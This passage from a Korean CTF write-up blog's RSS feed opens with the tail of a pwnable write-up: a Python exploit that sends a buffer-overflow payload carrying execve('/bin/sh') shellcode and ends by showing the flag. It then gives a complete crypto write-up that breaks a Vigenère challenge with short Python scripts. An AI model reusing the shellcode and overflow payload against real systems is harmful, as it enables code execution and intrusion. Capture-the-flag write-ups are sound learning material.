&lt;div class=&quot;sourceCode&quot;&gt;&lt;pre class=&quot;sourceCode python&quot;&gt;&lt;code class=&quot;sourceCode python&quot;&gt;sc &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;st&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;ch&quot;&gt;\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05&lt;/span&gt;&lt;span class=&quot;st&quot;&gt;&amp;quot;&lt;/span&gt;

payload &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;st&quot;&gt;&amp;quot;A&amp;quot;&lt;/span&gt; &lt;span class=&quot;op&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;bn&quot;&gt;0x100&lt;/span&gt; &lt;span class=&quot;op&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;st&quot;&gt;&amp;quot;B&amp;quot;&lt;/span&gt; &lt;span class=&quot;op&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;dv&quot;&gt;8&lt;/span&gt;
payload &lt;span class=&quot;op&quot;&gt;+=&lt;/span&gt; p64(&lt;span class=&quot;bn&quot;&gt;0x601a10&lt;/span&gt;)
payload &lt;span class=&quot;op&quot;&gt;+=&lt;/span&gt; sc

r.sendline(payload)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;figure&quot;&gt;
&lt;img src=&quot;https://github.com/JisoonPark/writeup/raw/master/resource/nothing_more_to_say/flag.png&quot; /&gt;

&lt;/div&gt;
&lt;p&gt;Flag : &lt;strong&gt;TWCTF{AAAATsumori---Shitureishimashita.}&lt;/strong&gt;&lt;/p&gt;</description>
      <category>writeups/Pwnable</category>
      <category>BOF</category>
      <category>rop</category>
      <author>m4tta</author>
      <guid isPermaLink="true">https://m4tta.tistory.com/141</guid>
      <comments>https://m4tta.tistory.com/141#entry141comment</comments>
      <pubDate>Tue, 26 Nov 2019 20:16:18 +0900</pubDate>
    </item>
    <item>
      <title>Noki</title>
      <link>https://m4tta.tistory.com/140</link>
      <description>&lt;h2 id=&quot;description&quot;&gt;Description&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Category&lt;/strong&gt;: Crypto&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Source&lt;/strong&gt;: HackCON CTF 2019&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Points&lt;/strong&gt;: 198&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Author&lt;/strong&gt;: Jisoon Park(js00n.park)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I was told Vigenère Cipher is secure as long as length(key) == length(message). So I did just that!&lt;/p&gt;
&lt;p&gt;Break this: g4iu{ocs_oaeiiamqqi_qk_moam!}e0gi&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;write-up&quot;&gt;Write-up&lt;/h2&gt;
&lt;p&gt;Vigenère Cipher 문제이고, key와 plaintext의 길이가 같다고 한다.&lt;/p&gt;
&lt;p&gt;이 경우, plaintext의 각 byte마다 서로 다른 key가 독립적으로 사용되기 때문에 key를 알아낼 수가 없다.&lt;/p&gt;
&lt;p&gt;현 상태에서 알 수 있는 것은 flag format인 &amp;quot;d4rk{&lt;strong&gt;flag_text&lt;/strong&gt;}c0de&amp;quot; 밖에 없으니, 일단 알 수 있는 부분이라도 key를 찾아보자.&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot;&gt;&lt;pre class=&quot;sourceCode python&quot;&gt;&lt;code class=&quot;sourceCode python&quot;&gt;&lt;span class=&quot;im&quot;&gt;import&lt;/span&gt; string

ct &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;st&quot;&gt;&amp;quot;g4iu{ocs_oaeiiamqqi_qk_moam!}e0gi&amp;quot;&lt;/span&gt;

pt &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;st&quot;&gt;&amp;quot;d4rk&lt;/span&gt;&lt;span class=&quot;sc&quot;&gt;{aaaaaaaaaaaaaaaaaaaaaaa}&lt;/span&gt;&lt;span class=&quot;st&quot;&gt;c0de&amp;quot;&lt;/span&gt;

r &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;st&quot;&gt;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class=&quot;cf&quot;&gt;for&lt;/span&gt; c, p &lt;span class=&quot;kw&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;bu&quot;&gt;zip&lt;/span&gt;(ct, pt):
    &lt;span class=&quot;cf&quot;&gt;if&lt;/span&gt; c &lt;span class=&quot;kw&quot;&gt;in&lt;/span&gt; string.lowercase:
        c_idx &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; string.lowercase.find(c)
        p_idx &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; string.lowercase.find(p)
        r &lt;span class=&quot;op&quot;&gt;+=&lt;/span&gt; string.lowercase[(c_idx &lt;span class=&quot;op&quot;&gt;-&lt;/span&gt; p_idx) &lt;span class=&quot;op&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;dv&quot;&gt;26&lt;/span&gt;]
    &lt;span class=&quot;cf&quot;&gt;else&lt;/span&gt;:
        r &lt;span class=&quot;op&quot;&gt;+=&lt;/span&gt; c
&lt;span class=&quot;bu&quot;&gt;print&lt;/span&gt; r&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;figure&quot;&gt;
&lt;img src=&quot;https://github.com/JisoonPark/writeup/raw/master/resource/Noki/find.png&quot; /&gt;

&lt;/div&gt;
&lt;p&gt;알려진 부분에 대한 key를 구해보았더니 flag format이 그대로 나왔다.&lt;/p&gt;
&lt;p&gt;주어진 암호문이 flag를 flag로 암호화 한 것임을 유추해 볼 수 있다.&lt;/p&gt;
&lt;p&gt;flag string 부분도 구해 보자.&lt;/p&gt;
&lt;p&gt;Vigenère Cipher에서 임의의 문자 c를 c로 암호화 하게 되면 index가 두 배가 되어 2의 배수 번째에 있는 문자들만 암호문으로 나오게 된다.&lt;/p&gt;
&lt;p&gt;26개의 영문자가 13개로 대응되게 되니, 암호문을 이루는 하나의 글자는 각각 두 개의 평문 문자 중의 하나로 복호화 될 수 있게 된다.&lt;/p&gt;
&lt;p&gt;이 대응 관계를 dict로 만들어 보자.&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot;&gt;&lt;pre class=&quot;sourceCode python&quot;&gt;&lt;code class=&quot;sourceCode python&quot;&gt;d &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bu&quot;&gt;dict&lt;/span&gt;()
&lt;span class=&quot;cf&quot;&gt;for&lt;/span&gt; i &lt;span class=&quot;kw&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;bu&quot;&gt;range&lt;/span&gt;(&lt;span class=&quot;dv&quot;&gt;26&lt;/span&gt;):
    k &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; string.lowercase[i &lt;span class=&quot;op&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;dv&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;op&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;dv&quot;&gt;26&lt;/span&gt;]
    &lt;span class=&quot;cf&quot;&gt;if&lt;/span&gt; k &lt;span class=&quot;kw&quot;&gt;in&lt;/span&gt; d:
        d[k] &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; d[k] &lt;span class=&quot;op&quot;&gt;+&lt;/span&gt; string.lowercase[i]
    &lt;span class=&quot;cf&quot;&gt;else&lt;/span&gt;:
        d[k] &lt;span class=&quot;op&quot;&gt;=&lt;/span&gt; string.lowercase[i]

&lt;span class=&quot;bu&quot;&gt;print&lt;/span&gt; d&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;figure&quot;&gt;
&lt;img src=&quot;https://github.com/JisoonPark/writeup/raw/master/resource/Noki/mapping.png&quot; /&gt;

&lt;/div&gt;
&lt;p&gt;이제 평문을 복호화 하기 위해서는 가능한 구성 중에 의미 있는 단어로 구성된 flag를 찾아내야 한다.&lt;/p&gt;
&lt;p&gt;가능한 조합 중에서 영단어에 존재하는 단어들만 뽑아내보자. (&lt;a href=&quot;https://github.com/JisoonPark/writeup/raw/master/resource/Noki/ex.py&quot;&gt;코드&lt;/a&gt;)&lt;/p&gt;
&lt;div class=&quot;figure&quot;&gt;
&lt;img src=&quot;https://github.com/JisoonPark/writeup/raw/master/resource/Noki/flag.png&quot; /&gt;

&lt;/div&gt;
&lt;p&gt;찾아진 후보 단어들을 조합하여 아래와 같은 flag를 만들 수 있었다.&lt;/p&gt;
&lt;p&gt;Flag : &lt;strong&gt;d4rk{how_uncreative_is_that!}c0de&lt;/strong&gt;&lt;/p&gt;</description>
      <category>writeups/Crypto</category>
      <category>brute_force</category>
      <category>Vigen&amp;egrave;re</category>
      <author>m4tta</author>
      <guid isPermaLink="true">https://m4tta.tistory.com/140</guid>
      <comments>https://m4tta.tistory.com/140#entry140comment</comments>
      <pubDate>Tue, 26 Nov 2019 20:16:18 +0900</pubDate>
    </item>
  </channel>
</rss>